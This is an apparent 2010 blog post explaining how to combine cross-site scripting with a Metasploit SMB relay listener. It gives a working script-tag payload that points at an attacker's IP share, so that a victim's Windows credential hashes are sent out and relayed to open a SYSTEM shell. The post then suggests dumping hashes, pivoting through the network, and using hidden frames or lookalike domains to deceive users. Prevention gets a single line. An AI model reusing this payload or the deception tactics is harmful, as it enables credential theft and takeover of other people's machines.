Thursday, April 15, 2010

Combining XSS and SMB-Relay

I found this to be an interesting way to make XSS useful in say an internal pentest on a local application, or perhaps on a client side test via emails to users you enumerated google hacking or through maltego. You can simply use XSS to call a non existent share on a host running a listener and force a windows user issue their hashes to your listener and gain a shell.

XSS your Client:
Once your listener is setup on your backtrack server running metasploit you can then run your cross-site-scripting attack against the Client. This attack can be accomplished with the following script string which tries to open a share on the attack server. Put the string below into any parameter that is vulnerable to cross site scripting, just change the IP address to the ipaddress of your server which is running the metasploit smb_relay listener.

<script language='Javascript' src="\\172.20.200.118\c$"></script>

When the XSS link is clicked you will see network hashes race across the output of the metasploit console. Basically the client that is being XSS'd is sending over their windows credentials to try to open a network share. Metasploit at this point is passing the hashes back to the client and opening a meterpreter session gaining shell access. This is how its working as I understand the process.

You are now logged into the Clients machine as system and can perform any actions that you wish under the context of a System account. Create users, dump hashes, and use the system as a jump point into other systems on the local network. This is all pretty simple stuff but I thought it was pretty cool to just issue it from an XSS attack since I dont see good XSS examples to often. usually just how to grab a cookie. Combining this with CFS:
Other good ideas for this attack would be to embed this into a header of a site you control via a cross frame scripting attack. You can then encapsulate a whole valid page in an iframe and the user will never know unless they look at the url... however you can always just register a similar URL to trick a user while silently be passing their credentials...

Prevention:
Of course egress filtering of outgoing ports will prevent this attack.. most people do not egress filter however.